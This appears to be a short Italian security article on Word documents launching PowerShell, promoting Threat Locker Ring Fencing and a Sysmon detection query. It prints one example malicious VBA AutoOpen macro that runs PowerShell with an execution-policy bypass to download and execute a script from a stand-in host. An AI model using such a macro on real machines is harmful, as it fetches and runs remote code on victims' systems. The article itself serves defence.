Questo articolo affronta un problema di sicurezza in cui Microsoft Word può eseguire comandi di PowerShell, indicando un possibile attacco informatico. Viene inoltre presentato il sistema di protezione Threat Locker Ring Fencing come soluzione per impedire interazioni non autorizzate tra le applicazioni. Implementando queste misure, le organizzazioni possono migliorare il proprio livello di sicurezza, garantendo che le applicazioni operino entro i limiti previsti.
Scenario critico: documenti Word che avviano PowerShell possono indicare un attacco in corso, spesso sfruttando macro o tecniche fileless.
Esempio di payload malevolo in VBA:
textSub AutoOpen()
Shell "powershell -ep bypass -c IEX (New-Object Net.WebClient).DownloadString('http://malicio.us/script.ps1')", 0
End Sub
Soluzione con Threat Locker Ring Fencing:
- Isolamento applicativo:
# Policy di esempio per bloccare l'interazione Word-PowerShell
New-ThreatLockerPolicy -Application "WINWORD.EXE" -DenyChildProcess "POWERSHELL.EXE" -Ringfencing
- Monitoraggio proattivo:
# Rileva chiamate PowerShell da Office con Sysmon
Get-WinEvent -FilterHashtable @{LogName="Microsoft-Windows-Sysmon/Operational"; ID=1} |
Where-Object { $_.Message -match "WINWORD.EXE.*POWERSHELL.EXE" }
Configurazione avanzata:
- Whitelist di directory per le operazioni I/O
- Blocco esecuzione script in-memory via AMSI
- Limitazione COM/OLE tra applicazioni
L’approccio Zero Trust di Threat Locker riduce la superficie d’attacco senza richiedere firme tradizionali.